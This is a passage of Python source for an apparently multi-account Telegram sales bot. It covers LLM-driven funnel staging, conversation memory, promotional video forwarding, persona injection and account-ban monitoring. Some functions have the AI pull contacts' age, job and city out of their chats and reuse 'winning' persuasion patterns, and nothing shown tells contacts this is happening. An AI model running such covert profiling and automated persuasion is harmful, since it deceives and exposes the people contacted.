            "user_id,account_id,platform,peer_id,stage,stage_score,"
            "last_stage_change,last_interaction,total_messages,created_at,updated_at"
            ") VALUES(?,?,?,?,?,0,?,?,1,?,?) "
            "ON CONFLICT(user_id,account_id,platform,peer_id) "
            "DO UPDATE SET stage=excluded.stage, last_stage_change=excluded.last_stage_change, "
            "last_interaction=excluded.last_interaction, total_messages=total_messages+1, "
            "updated_at=excluded.updated_at",
            (uid, aid, platform, str(peer_id), str(new_stage),
             stamp, stamp, stamp, stamp),
        )
    except Exception as e:
        _LOG_WARN(f"[PATCH][funnel] set_stage: {_mask(str(e))}")


async def _funnel_analyze(uid, aid, platform, peer_id, user_text, ai_reply):
    try:
        current, _ = _funnel_get(uid, aid, platform, peer_id)
        mem = _memory_load(uid, aid, str(peer_id), 10)
        mem_text = "\n".join(f"{m.get('role')}: {m.get('content', '')[:200]}" for m in mem[-6:])
        prompt = (
            f"Previous stage: {current}\n"
            f"Recent conversation:\n{mem_text}\n\n"
            f"User: {user_text[:600]}\n"
            f"AI: {ai_reply[:600]}\n\n"
            "Which stage of the sales funnel is this user in? One of: " +
            ", ".join(FUNNEL_STAGES) +
            ". Return STRICT JSON: {\"stage\":\"...\",\"score\":0-100}. No other text."
        )
        r = await _AI().chat(
            [{"role": "system", "content": "You are a sales funnel classifier."},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="funnel_analyze",
            temperature=0.1, max_tokens=80,
        )
        m = re.search(r"\{.*\}", r or "", re.S)
        if not m:
            return
        data = json.loads(m.group(0))
        new_stage = str(data.get("stage", current)).upper()
        if new_stage not in FUNNEL_STAGES:
            return
        if new_stage != current:
            _funnel_set(uid, aid, platform, peer_id, new_stage, "ai")
    except Exception:
        pass


def _funnel_behavior_prompt(uid, aid, platform, peer_id):
    stage, _ = _funnel_get(uid, aid, platform, peer_id)
    behaviors = {
        "NEW_LEAD": "کاربر جدیده. تبلیغ مستقیم نکن. با لحن دوستانه آشنا شو.",
        "INTERESTED": "کاربر یه قدم جلوتره. توضیح کوتاه و مفید بده. لحن گرم.",
        "EVALUATING": "کاربر مقایسه می‌کنه. مزایای منحصربفرد رو بگو. رفع تردید.",
        "NEGOTIATING": "کاربر درباره قیمت حرف می‌زنه. اطلاعات دقیق بده.",
        "CUSTOMER": "مشتری شده. تجربه‌اش رو بپرس.",
        "ADVOCATE": "کاربر راضیه. تشکر کن. فشار نده.",
        "LOST": "کاربر جواب نمی‌ده. یه پیام دوستانه بدون فشار.",
    }
    return behaviors.get(stage, "")


async def _funnel_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith("user.funnel."):
        return None
    await _safe_answer(cb_id)

    try:
        if data_s == "user.funnel.start":
            rows = _DB().fetchall(
                "SELECT stage, COUNT(*) c FROM trx_sales_funnel "
                "WHERE user_id=? GROUP BY stage",
                (uid,),
            )
            counts = {s: 0 for s in FUNNEL_STAGES}
            for r in rows:
                if r["stage"] in counts:
                    counts[r["stage"]] = int(r["c"])
            total = sum(counts.values())
            converted = counts.get("CUSTOMER", 0) + counts.get("ADVOCATE", 0)
            rate = round((converted / total * 100), 1) if total else 0
            lines = [f"{s}: {counts[s]} مخاطب" for s in FUNNEL_STAGES]
            lines.append(f"نرخ تبدیل: {rate}٪")
            return await _safe_edit(chat_id, msg_id,
                                    TRX_UI_STYLE.menu("قیف فروش من", lines),
                                    _IKB([[("↩️ بازگشت", "ai", "primary")]]))
    except Exception:
        pass
    return None


# ═══════════════════════════════════════════════════════════════════════════
# 14) FEATURE #10b — LONG-TERM MEMORY
# ═══════════════════════════════════════════════════════════════════════════

TRX_LTM_TTL_DAYS = 2


def _ltm_get(uid, aid, platform, peer_id):
    try:
        row = _DB().fetchone(
            "SELECT * FROM trx_long_memory "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
            (uid, aid, platform, str(peer_id)),
        )
        if not row:
            return None
        try:
            exp = datetime.fromisoformat(str(row["expires_at"]))
            if exp <= datetime.utcnow():
                _DB().execute(
                    "DELETE FROM trx_long_memory WHERE id=?", (row["id"],)
                )
                return None
        except Exception:
            pass
        return dict(row)
    except Exception:
        return None


def _ltm_save(uid, aid, platform, peer_id, summary, key_facts, msg_count):
    try:
        now_dt = datetime.utcnow()
        exp = now_dt + timedelta(days=TRX_LTM_TTL_DAYS)
        _DB().execute(
            "INSERT OR REPLACE INTO trx_long_memory("
            "user_id,account_id,platform,peer_id,summary,key_facts,"
            "message_count,created_at,expires_at"
            ") VALUES(?,?,?,?,?,?,?,?,?)",
            (uid, aid, platform, str(peer_id),
             str(summary)[:4000], str(key_facts)[:2000], int(msg_count),
             now_dt.isoformat(), exp.isoformat()),
        )
        _LOG_INFO(f"[PATCH][ltm] saved uid={uid} peer={peer_id}")
    except Exception as e:
        _LOG_WARN(f"[PATCH][ltm] save: {_mask(str(e))}")


async def _ltm_summarize(uid, aid, platform, peer_id):
    try:
        rows = _DB().fetchall(
            "SELECT role,text FROM ai_memory "
            "WHERE user_id=? AND account_id=? AND peer_key=? "
            "ORDER BY id DESC LIMIT 50",
            (uid, aid, str(peer_id)),
        )
        if len(rows) < 10:
            return
        convo = "\n".join(f"{r['role']}: {r['text'][:200]}" for r in reversed(rows))
        prompt = (
            "این مکالمه رو خلاصه کن. چیزهای کلیدی:\n"
            "- اسم و اطلاعات کاربر\n- نیازها\n- محصولات درخواستی\n"
            "- مشکلات\n- مرحله قیف\n\n"
            "حداکثر ۲۰۰ کلمه. JSON: {\"summary\":\"...\",\"facts\":\"...\"}\n\n"
            f"Mekaleme:\n{convo[:5000]}"
        )
        r = await _AI().chat(
            [{"role": "system", "content": "You summarize conversations."},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="ltm_summarize",
            temperature=0.3, max_tokens=400,
        )
        m = re.search(r"\{.*\}", r or "", re.S)
        if not m:
            return
        data = json.loads(m.group(0))
        _ltm_save(uid, aid, platform, peer_id,
                  data.get("summary", ""), data.get("facts", ""), len(rows))
    except Exception:
        pass


def _ltm_cleanup():
    try:
        now_iso = datetime.utcnow().isoformat()
        cur = _DB().execute(
            "DELETE FROM trx_long_memory WHERE expires_at<=?", (now_iso,)
        )
        try:
            deleted = cur.rowcount
        except Exception:
            deleted = 0
        if deleted:
            _LOG_INFO(f"[PATCH][ltm] cleanup deleted={deleted}")
    except Exception:
        pass


async def _ltm_scheduler():
    while True:
        try:
            await asyncio.sleep(3600)
            _ltm_cleanup()
        except asyncio.CancelledError:
            return
        except Exception:
            pass


async def _ltm_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith("user.ltm."):
        return None
    await _safe_answer(cb_id)

    try:
        if data_s == "user.ltm.start":
            rows = _DB().fetchall(
                "SELECT COUNT(*) c, COALESCE(SUM(LENGTH(summary)),0) sz "
                "FROM trx_long_memory WHERE user_id=?",
                (uid,),
            )
            cnt = int(rows[0]["c"]) if rows else 0
            sz_kb = round((rows[0]["sz"] or 0) / 1024.0, 1)
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.menu(
                    "حافظه‌های من",
                    [f"حافظه‌های فعال: {cnt}",
                     f"حجم تقریبی: {sz_kb} KB"],
                    "بعد از ۲ روز خودکار پاک می‌شن",
                ),
                _IKB([
                    [("📋 لیست", "user.ltm.list", "primary")],
                    [("🗑 پاک کردن همه", "user.ltm.clearall", "danger")],
                    [("↩️ بازگشت", "ai", "primary")],
                ]),
            )
        if data_s == "user.ltm.list":
            rows = _DB().fetchall(
                "SELECT peer_id,summary FROM trx_long_memory "
                "WHERE user_id=? ORDER BY expires_at DESC LIMIT 20",
                (uid,),
            )
            btns = []
            for r in rows:
                peer = str(r["peer_id"])[:30]
                btns.append([(peer, f"user.ltm.view:{r['peer_id']}", "primary")])
            if not btns:
                btns.append([("خالی", "user.ltm.start", "primary")])
            else:
                btns.append([("↩️ بازگشت", "user.ltm.start", "primary")])
            return await _safe_edit(chat_id, msg_id, "📋 حافظه‌ها:", _IKB(btns))
        if data_s.startswith("user.ltm.view:"):
            peer = data_s.split(":", 1)[1]
            row = _DB().fetchone(
                "SELECT * FROM trx_long_memory WHERE user_id=? AND peer_id=?",
                (uid, peer),
            )
            if not row:
                return await _safe_edit(chat_id, msg_id, "❌ پیدا نشد.",
                                        trx.ai_advanced_menu(lang, uid))
            return await _safe_edit(
                chat_id, msg_id,
                TRX_UI_STYLE.report("خلاصه مکالمه",
                                    {"مخاطب": peer[:40],
                                     "پیام‌ها": row["message_count"]},
                                    str(row["summary"])[:800]),
                _IKB([[("🗑 حذف", f"user.ltm.delete:{peer}", "danger")],
                      [("↩️ بازگشت", "user.ltm.list", "primary")]]),
            )
        if data_s.startswith("user.ltm.delete:"):
            peer = data_s.split(":", 1)[1]
            _DB().execute("DELETE FROM trx_long_memory WHERE user_id=? AND peer_id=?",
                          (uid, peer))
            return await _safe_edit(chat_id, msg_id, "✓ حذف شد.",
                                    trx.ai_advanced_menu(lang, uid))
        if data_s == "user.ltm.clearall":
            _DB().execute("DELETE FROM trx_long_memory WHERE user_id=?", (uid,))
            return await _safe_edit(chat_id, msg_id, "✓ پاک شد.",
                                    trx.ai_advanced_menu(lang, uid))
    except Exception as e:
        _LOG_ERR(f"[PATCH][ltm] dispatch: {_mask(str(e))}")
    return None


# ═══════════════════════════════════════════════════════════════════════════
# 15) FEATURE #11 — APK GALLERY VIDEO
# ═══════════════════════════════════════════════════════════════════════════

GVIDEO_PREFIX = "apkgallery.video."


def _gvideo_get(uid, aid, platform):
    try:
        row = _DB().fetchone(
            "SELECT * FROM trx_apk_gallery_video "
            "WHERE user_id=? AND account_id=? AND platform=?",
            (uid, aid, platform),
        )
        return dict(row) if row else None
    except Exception:
        return None


def _gvideo_count(uid, aid, platform, peer_id):
    try:
        row = _DB().fetchone(
            "SELECT forward_count FROM trx_apk_video_quota "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?",
            (uid, aid, platform, str(peer_id)),
        )
        return int(row["forward_count"] or 0) if row else 0
    except Exception:
        return 0


def _gvideo_increment(uid, aid, platform, peer_id):
    try:
        stamp = trx.now()
        _DB().execute(
            "INSERT INTO trx_apk_video_quota("
            "user_id,account_id,platform,peer_id,forward_count,last_sent_at,created_at"
            ") VALUES(?,?,?,?,1,?,?) "
            "ON CONFLICT(user_id,account_id,platform,peer_id) "
            "DO UPDATE SET forward_count=forward_count+1, last_sent_at=excluded.last_sent_at",
            (uid, aid, platform, str(peer_id), stamp, stamp),
        )
    except Exception:
        pass


async def _gvideo_save(uid, aid, platform, video_link):
    try:
        ok, err, mid, hint = trx._trx01_validate_apk_link(platform, video_link)
    except Exception:
        ok, err, mid, hint = False, "validate error", None, None
    if not ok:
        return False, err or "لینک نامعتبر", None
    try:
        _DB().execute(
            "INSERT OR REPLACE INTO trx_apk_gallery_video("
            "user_id,account_id,platform,source_peer,source_message_id,"
            "video_link,created_at) VALUES(?,?,?,?,?,?,?)",
            (uid, aid, platform, str(hint or ""), str(mid),
             str(video_link), trx.now()),
        )
        return True, "ثبت شد", {"source_peer": str(hint or ""),
                                 "source_message_id": str(mid)}
    except Exception as e:
        return False, f"DB error: {_mask(str(e))}", None


async def _gvideo_forward(client, platform, video_row, dest):
    return await _apkfix_do_forward(
        client,
        video_row.get("source_peer", ""),
        video_row.get("source_message_id", ""),
        dest,
        platform,
    )


def _gvideo_should_send(uid, aid, platform, peer_id):
    video = _gvideo_get(uid, aid, platform)
    if not video:
        return False
    count = _gvideo_count(uid, aid, platform, peer_id)
    if count >= 1:
        return False
    try:
        msg_count = _DB().fetchone(
            "SELECT COUNT(*) c FROM ai_memory "
            "WHERE user_id=? AND account_id=? AND peer_key=?",
            (uid, aid, str(peer_id)),
        )["c"]
    except Exception:
        msg_count = 0
    if msg_count < 5:
        return True
    return False


async def _gvideo_describe(uid, aid, platform, video_row, user_text):
    try:
        sys_prompt = _ai_system(uid, aid, "gvideo_describe", "")
        prompt = ("یه توضیح کوتاه ۱-۲ خط درباره ویدیو آموزشی این برنامه بنویس. "
                  "توی این ویدیو چی یاد می‌گیره.")
        r = await _AI().chat(
            [{"role": "system", "content": sys_prompt},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid,
            action_type="gvideo_describe", temperature=0.85, max_tokens=150,
        )
        return _cleanup_caption(r) or "یه ویدیو کوتاه از برنامه 👇"
    except Exception:
        return "یه ویدیو کوتاه از برنامه 👇"


async def _gvideo_maybe_send(uid, aid, platform, peer_id, user_text, client):
    try:
        if not _gvideo_should_send(uid, aid, platform, peer_id):
            return False
        video = _gvideo_get(uid, aid, platform)
        if not video or client is None:
            return False
        ok, info = await _gvideo_forward(client, platform, video, peer_id)
        if not ok:
            _LOG_WARN(f"[PATCH][gvideo] forward failed: {_mask(str(info))[:200]}")
            return False
        _gvideo_increment(uid, aid, platform, peer_id)
        try:
            desc = await _gvideo_describe(uid, aid, platform, video, user_text)
            send = getattr(client, "send_message", None)
            if callable(send) and desc:
                r = send(peer_id, desc)
                if asyncio.iscoroutine(r):
                    await r
        except Exception:
            pass
        _LOG_INFO(f"[PATCH][gvideo] uid={uid} aid={aid} peer={peer_id} sent=OK")
        return True
    except Exception as e:
        _LOG_WARN(f"[PATCH][gvideo] maybe_send: {_mask(str(e))}")
        return False


async def _gvideo_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not txt:
        return None
    s = trx.state.get(uid)
    if not s or s.get("state") != "apkgallery_video":
        return None
    try:
        ok, info, row = await _gvideo_save(uid, int(s["account_id"]), s["platform"], txt)
        if not ok:
            return await _BOT().send(chat_id, f"❌ {info}")
        trx.state.pop(uid)
        return await _BOT().send(chat_id, "✓ ویدیو ثبت شد.",
                                 reply_markup=trx.ai_advanced_menu(trx.get_lang(uid), uid))
    except Exception:
        trx.state.pop(uid)
        return await _BOT().send(chat_id, "⚠️ خطا.")


# ═══════════════════════════════════════════════════════════════════════════
# 16) FEATURE #12 — MULTI-PERSONA (all contexts)
# ═══════════════════════════════════════════════════════════════════════════

def _persona_resolve(uid):
    try:
        row = _DB().fetchone(
            "SELECT value FROM settings WHERE key=?", (f"ai_persona:{uid}",)
        )
        if row and row["value"] and str(row["value"]).strip():
            return str(row["value"]).strip()
    except Exception:
        pass
    return ""


# Wrap _trx_ai_system to always include persona in every context.
_ORIG_AI_SYSTEM = trx._trx_ai_system


def _patched_ai_system(uid, aid, mode="reply", extra=""):
    base = _ORIG_AI_SYSTEM(uid, aid, mode, extra)
    persona = _persona_resolve(uid)
    if not persona:
        return base
    persona_block = (
        "\n\n══════════ پرسونا ══════════\n"
        f"{persona[:2500]}\n"
        "═══════════════════════════════════════\n"
        "این پرسونا رو در همه context ها (PV، گروه، کانال، تبچی، رصد، گالری) رعایت کن.\n"
    )
    return base + persona_block


trx._trx_ai_system = _patched_ai_system


# ═══════════════════════════════════════════════════════════════════════════
# 17) FEATURE #13 — USER PROFILE IN AI (toggle only)
# ═══════════════════════════════════════════════════════════════════════════

_PROFILE_CACHE = {}
_PROFILE_CACHE_TTL = 300


def _profile_is_enabled(uid):
    val = _setting_get(f"profile_enabled:{uid}", "1")
    return str(val) != "0"


def _profile_toggle(uid):
    cur = _profile_is_enabled(uid)
    new = "0" if cur else "1"
    _setting_set(f"profile_enabled:{uid}", new)
    return new == "1"


def _profile_extract_from_event(event):
    info = {"first_name": "", "last_name": "", "username": "", "display_name": ""}
    try:
        sender = getattr(event, "sender", None) or getattr(event, "from_user", None)
        if sender:
            info["first_name"] = str(getattr(sender, "first_name", "") or "")
            info["last_name"] = str(getattr(sender, "last_name", "") or "")
            info["username"] = str(getattr(sender, "username", "") or "")
            info["display_name"] = (info["first_name"] + " " + info["last_name"]).strip()
    except Exception:
        pass
    return info


async def _profile_text_for_ai(uid, aid, platform, peer_id, event):
    if not _profile_is_enabled(uid):
        return ""
    info = _profile_extract_from_event(event) if event is not None else {}
    # Only occasional AI extraction
    extract_key = (uid, aid, peer_id)
    last = _PROFILE_CACHE.get(extract_key, {}).get("ts", 0)
    extracted = _PROFILE_CACHE.get(extract_key, {}).get("extracted", {})
    if time.time() - last > 300:
        try:
            mem = _DB().fetchall(
                "SELECT role,text FROM ai_memory "
                "WHERE user_id=? AND account_id=? AND peer_key=? "
                "ORDER BY id DESC LIMIT 20",
                (uid, aid, str(peer_id)),
            )
            if len(mem) >= 5:
                convo = "\n".join(f"{r['role']}: {r['text'][:150]}" for r in reversed(mem))
                prompt = (
                    "از این مکالمه اگه کاربر اسم، سن، شغل یا شهرش رو صریحاً گفته، "
                    "استخراج کن. فقط چیزهایی که صریحاً گفته. "
                    "STRICT JSON: {\"name\":\"\",\"age\":0,\"occupation\":\"\",\"location\":\"\"}"
                    f"\n\nMokaleme:\n{convo[:3000]}"
                )
                r = await _AI().chat(
                    [{"role": "system", "content": "Extract user info. Strict JSON only."},
                     {"role": "user", "content": prompt}],
                    uid=uid, account_id=aid, action_type="profile_extract",
                    temperature=0.1, max_tokens=120,
                )
                m = re.search(r"\{.*\}", r or "", re.S)
                if m:
                    extracted = json.loads(m.group(0))
                    _PROFILE_CACHE[extract_key] = {"ts": time.time(), "extracted": extracted}
        except Exception:
            pass
    parts = []
    if info.get("display_name"):
        parts.append(f"نام: {info['display_name']}")
    if info.get("username"):
        parts.append(f"یوزرنیم: @{info['username']}")
    if extracted.get("age") and int(extracted.get("age") or 0) > 0:
        parts.append(f"سن: {extracted['age']}")
    if extracted.get("occupation"):
        parts.append(f"شغل: {extracted['occupation']}")
    if extracted.get("location"):
        parts.append(f"شهر: {extracted['location']}")
    return " | ".join(parts) if parts else ""


async def _profile_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s != "user.profile.toggle":
        return None
    await _safe_answer(cb_id)
    try:
        enabled = _profile_toggle(uid)
        msg = ("✓ نام‌بردن از کاربر فعال شد\n"
               f"{SEP_SUB}\n"
               "✪ از این به بعد AI اسم کاربر رو طبیعی می‌آره\n"
               f"{SEP_SUB}") if enabled else (
            "◈ نام‌بردن از کاربر غیرفعال شد\n"
            f"{SEP_SUB}\n"
            "✪ AI دیگه اسم کاربر رو نمی‌بره\n"
            f"{SEP_SUB}")
        return await _safe_edit(chat_id, msg_id, msg, trx.ai_advanced_menu(lang, uid))
    except Exception:
        return None


# ═══════════════════════════════════════════════════════════════════════════
# 18) FEATURE #14 — LEARNED PATTERNS (auto)
# ═══════════════════════════════════════════════════════════════════════════

def _learn_is_enabled(uid):
    val = _setting_get(f"learn_enabled:{uid}", "1")
    return str(val) != "0"


def _learn_toggle(uid):
    cur = _learn_is_enabled(uid)
    new = "0" if cur else "1"
    _setting_set(f"learn_enabled:{uid}", new)
    return new == "1"


async def _learn_analyze_win(uid, aid, platform, peer_id):
    try:
        marker = f"learn_analyzed:{uid}:{aid}:{peer_id}"
        if _setting_get(marker, "") == "1":
            return
        mem = _DB().fetchall(
            "SELECT role,text FROM ai_memory "
            "WHERE user_id=? AND account_id=? AND peer_key=? "
            "ORDER BY id DESC LIMIT 50",
            (uid, aid, str(peer_id)),
        )
        if len(mem) < 10:
            return
        convo = "\n".join(f"{r['role']}: {r['text'][:200]}" for r in reversed(mem))
        prompt = (
            "این مکالمه فروش موفق بوده. الگوهای موفقیت رو استخراج کن.\n"
            "برای هر الگو: pattern_type (objection|question|greeting|closing|"
            "feature_emphasis|testimonial|urgency|rapport), trigger_text, "
            "winning_response, context_notes, success_score (1-5).\n"
            "حداکثر ۵ الگو.\n"
            "STRICT JSON: {\"patterns\":[...]}\n\n"
            f"Mokaleme:\n{convo[:6000]}"
        )
        r = await _AI().chat(
            [{"role": "system", "content": "Extract winning sales patterns. Strict JSON."},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="learn_analyze",
            temperature=0.3, max_tokens=800,
        )
        m = re.search(r"\{.*\}", r or "", re.S)
        if not m:
            return
        data = json.loads(m.group(0))
        patterns = data.get("patterns", [])
        for p in patterns[:5]:
            try:
                _DB().execute(
                    "INSERT INTO trx_learned_patterns("
                    "user_id,account_id,platform,pattern_type,trigger_text,"
                    "winning_response,context_notes,success_score,created_at"
                    ") VALUES(?,?,?,?,?,?,?,?,?)",
                    (uid, aid, platform,
                     str(p.get("pattern_type", "question"))[:60],
                     str(p.get("trigger_text", ""))[:500],
                     str(p.get("winning_response", ""))[:1500],
                     str(p.get("context_notes", ""))[:500],
                     int(p.get("success_score", 3)), trx.now()),
                )
            except Exception:
                continue
        _setting_set(marker, "1")
        _LOG_INFO(f"[PATCH][learn] patterns extracted uid={uid} peer={peer_id} count={len(patterns)}")
    except Exception as e:
        _LOG_WARN(f"[PATCH][learn] analyze: {_mask(str(e))}")


def _learn_get_relevant(uid, aid, platform, user_text, limit=5):
    if not _learn_is_enabled(uid):
        return []
    try:
        rows = _DB().fetchall(
            "SELECT * FROM trx_learned_patterns WHERE user_id=? "
            "ORDER BY success_score DESC, times_worked DESC LIMIT 50",
            (uid,),
        )
    except Exception:
        return []
    tokens = set(str(user_text or "").lower().split())
    scored = []
    for r in rows:
        trg = set(str(r["trigger_text"] or "").lower().split())
        if not trg:
            continue
        overlap = len(tokens & trg)
        if overlap < 1:
            continue
        # effectiveness
        used = int(r["times_used"] or 0)
        worked = int(r["times_worked"] or 0)
        if used >= 3 and (worked / used) < 0.3:
            continue
        score = overlap * 10 + int(r["success_score"] or 0)
        scored.append((score, dict(r)))
    scored.sort(key=lambda x: -x[0])
    return [r for _, r in scored[:limit]]


def _learn_format_for_ai(patterns):
    if not patterns:
        return ""
    lines = ["══════════ 🧠 الگوهای یادگرفته‌شده ══════════",
             "این الگوها از مکالمات موفق قبلی استخراج شدن:"]
    for i, p in enumerate(patterns[:5], 1):
        lines.append(f"◈ الگو {i}: {p.get('pattern_type')}")
        lines.append(f"  کاربر: \"{p.get('trigger_text', '')[:120]}\"")
        lines.append(f"  جواب موفق: \"{p.get('winning_response', '')[:200]}\"")
        if p.get("context_notes"):
            lines.append(f"  نکته: {p.get('context_notes', '')[:150]}")
    lines.append("✪ این الگوها راهنما باشن، نه کپی مستقیم.")
    lines.append("═══════════════════════════════════════════")
    return "\n".join(lines)


def _learn_mark_used(pattern_id):
    try:
        _DB().execute(
            "UPDATE trx_learned_patterns SET times_used=times_used+1, "
            "last_used_at=? WHERE id=?",
            (trx.now(), pattern_id),
        )
    except Exception:
        pass


def _learn_cleanup(uid=None):
    try:
        cutoff = (datetime.utcnow() - timedelta(days=90)).isoformat()
        if uid:
            _DB().execute(
                "DELETE FROM trx_learned_patterns WHERE user_id=? AND "
                "last_used_at IS NOT NULL AND last_used_at<?", (uid, cutoff),
            )
            _DB().execute(
                "DELETE FROM trx_learned_patterns WHERE user_id=? AND "
                "times_used>5 AND times_worked*1.0/times_used<0.1", (uid,),
            )
            # Enforce 200-limit
            rows = _DB().fetchall(
                "SELECT id FROM trx_learned_patterns WHERE user_id=? "
                "ORDER BY times_worked ASC, id ASC",
                (uid,),
            )
            if len(rows) > 200:
                for r in rows[:len(rows) - 200]:
                    _DB().execute("DELETE FROM trx_learned_patterns WHERE id=?",
                                  (r["id"],))
        else:
            _DB().execute(
                "DELETE FROM trx_learned_patterns WHERE "
                "last_used_at IS NOT NULL AND last_used_at<?", (cutoff,),
            )
            _DB().execute(
                "DELETE FROM trx_learned_patterns WHERE "
                "times_used>5 AND times_worked*1.0/times_used<0.1",
            )
    except Exception as e:
        _LOG_WARN(f"[PATCH][learn] cleanup: {_mask(str(e))}")


async def _learn_scheduler():
    while True:
        try:
            await asyncio.sleep(86400)
            _learn_cleanup()
            _LOG_INFO("[PATCH][learn] daily cleanup done")
        except asyncio.CancelledError:
            return
        except Exception:
            pass


async def _learn_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s != "user.learn.toggle":
        return None
    await _safe_answer(cb_id)
    try:
        enabled = _learn_toggle(uid)
        msg = ("✓ یادگیری از موفقیت‌ها فعال شد\n"
               f"{SEP_SUB}\n"
               "✪ AI از مکالمات موفق یاد می‌گیره\n"
               f"{SEP_SUB}") if enabled else (
            "◈ یادگیری غیرفعال شد\n"
            f"{SEP_SUB}\n"
            "✪ AI دیگه از مکالمات قبلی یاد نمی‌گیره\n"
            f"{SEP_SUB}")
        return await _safe_edit(chat_id, msg_id, msg, trx.ai_advanced_menu(lang, uid))
    except Exception:
        return None


# ═══════════════════════════════════════════════════════════════════════════
# 19) FEATURE #15 — ACCOUNT HEALTH MONITOR
# ═══════════════════════════════════════════════════════════════════════════

def _health_compute(user_id, account_id):
    try:
        acc = _DB().fetchone(
            "SELECT * FROM accounts WHERE id=? AND user_id=?", (account_id, user_id)
        )
        if not acc:
            return None
        platform = str(acc["service"] or "").lower()
        enabled = int(acc["enabled"] or 0)
        since_24h = (datetime.utcnow() - timedelta(hours=24)).isoformat()
        rows = _DB().fetchall(
            "SELECT success FROM account_activity "
            "WHERE account_id=? AND created_at>? ORDER BY id DESC LIMIT 50",
            (account_id, since_24h),
        )
        total = len(rows)
        ok = sum(1 for r in rows if r["success"])
        failed = total - ok
        rate = int((ok / total * 100) if total else 0)
        # consecutive fails
        cf = 0
        for r in rows:
            if r["success"]:
                break
            cf += 1
        status = "unknown"
        if not enabled:
            status = "offline"
        elif str(acc["status"] or "").lower() == "banned":
            status = "banned"
        elif cf >= 5:
            status = "critical"
        elif cf >= 3:
            status = "warning"
        elif total > 0 and rate < 50:
            status = "warning"
        elif total > 0 and rate < 70:
            status = "slow"
        elif total >= 3 and rate >= 90:
            status = "healthy"
        else:
            status = "unknown"
        stamp = trx.now()
        try:
            _DB().execute(
                "INSERT OR REPLACE INTO trx_account_health("
                "user_id,account_id,platform,health_status,success_rate,"
                "total_sent,total_failed,consecutive_fails,last_checked_at,created_at"
                ") VALUES(?,?,?,?,?,?,?,?,?,COALESCE((SELECT created_at FROM "
                "trx_account_health WHERE user_id=? AND account_id=?), ?))",
                (user_id, account_id, platform, status, rate,
                 total, failed, cf, stamp, user_id, account_id, stamp),
            )
        except Exception:
            pass
        return {
            "account_id": account_id, "platform": platform,
            "status": status, "rate": rate, "total": total,
            "failed": failed, "consecutive_fails": cf,
            "last_activity": acc["last_activity"] or "",
        }
    except Exception:
        return None


def _health_summary(user_id):
    try:
        accs = _DB().fetchall(
            "SELECT id FROM accounts WHERE user_id=? AND enabled=1", (user_id,)
        )
    except Exception:
        accs = []
    counts = {k: 0 for k in
              ("healthy", "slow", "warning", "critical", "banned", "offline", "unknown")}
    total_sent = total_failed = 0
    rates = []
    for a in accs:
        h = _health_compute(user_id, int(a["id"]))
        if not h:
            continue
        counts[h["status"]] = counts.get(h["status"], 0) + 1
        total_sent += h["total"]
        total_failed += h["failed"]
        rates.append(h["rate"])
    avg = int(sum(rates) / len(rates)) if rates else 0
    return {"total": len(accs), "counts": counts, "avg": avg,
            "total_sent": total_sent, "total_failed": total_failed}


def _health_emoji(status):
    return {"healthy": "🟢", "slow": "🟡", "warning": "🟠",
            "critical": "🔴", "banned": "⛔️", "offline": "⚫️",
            "unknown": "⚪️"}.get(status, "⚪️")


def _health_alert(uid, account_id, h):
    try:
        stamp = trx.now()
        row = _DB().fetchone(
            "SELECT last_alert_at FROM trx_account_health "
            "WHERE user_id=? AND account_id=?",
            (uid, account_id),
        )
        if row and row["last_alert_at"]:
            try:
                last = datetime.fromisoformat(str(row["last_alert_at"]))
                if (datetime.utcnow() - last).total_seconds() < 1800:
                    return
            except Exception:
                pass
        _DB().execute(
            "UPDATE trx_account_health SET last_alert_at=? "
            "WHERE user_id=? AND account_id=?",
            (stamp, uid, account_id),
        )
        text = TRX_UI_STYLE.report(
            "هشدار اکانت",
            {"اکانت": f"#{account_id}",
             "پلتفرم": _platform_label(h.get("platform"), "fa"),
             "وضعیت": f"{_health_emoji(h['status'])} {h['status']}",
             "نرخ موفقیت": f"{h['rate']}٪",
             "خطاهای متوالی": h["consecutive_fails"]},
            "لطفاً بررسی کن",
        )
        _create_task(_BOT().send(uid, text))
    except Exception:
        pass


async def _health_scheduler():
    while True:
        try:
            await asyncio.sleep(900)
            try:
                users = _DB().fetchall("SELECT user_id FROM users WHERE is_banned=0 LIMIT 200")
            except Exception:
                users = []
            for u in users:
                uid = int(u["user_id"])
                try:
                    accs = _DB().fetchall(
                        "SELECT id FROM accounts WHERE user_id=? AND enabled=1", (uid,)
                    )
                except Exception:
                    continue
                for a in accs:
                    h = _health_compute(uid, int(a["id"]))
                    if h and h["status"] in ("critical", "banned"):
                        _health_alert(uid, int(a["id"]), h)
        except asyncio.CancelledError:
            return
        except Exception as e:
            _LOG_WARN(f"[PATCH][health] scheduler: {_mask(str(e))}")


async def _health_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if not data_s.startswith("user.health."):
        return None
    await _safe_answer(cb_id)
    try:
        if data_s == "user.health.show":
            s = _health_summary(uid)
            c = s["counts"]
            text = TRX_UI_STYLE.menu(
                "سلامت اکانت‌ها",
                [f"کل: {s['total']}",
                 f"🟢 سالم: {c.get('healthy', 0)}",
                 f"🟡 کند: {c.get('slow', 0)}",
                 f"🟠 هشدار: {c.get('warning', 0)}",
                 f"🔴 بحرانی: {c.get('critical', 0)}",
                 f"⚫️ آفلاین: {c.get('offline', 0)}",
                 f"⛔️ بن شده: {c.get('banned', 0)}",
                 f"نرخ موفقیت: {s['avg']}٪",
                 f"ارسال ۲۴h: {s['total_sent']} ✓ / {s['total_failed']} ✗"],
                "اکانت‌های مشکل‌دار رو بررسی کن",
            )
            return await _safe_edit(chat_id, msg_id, text, _IKB([
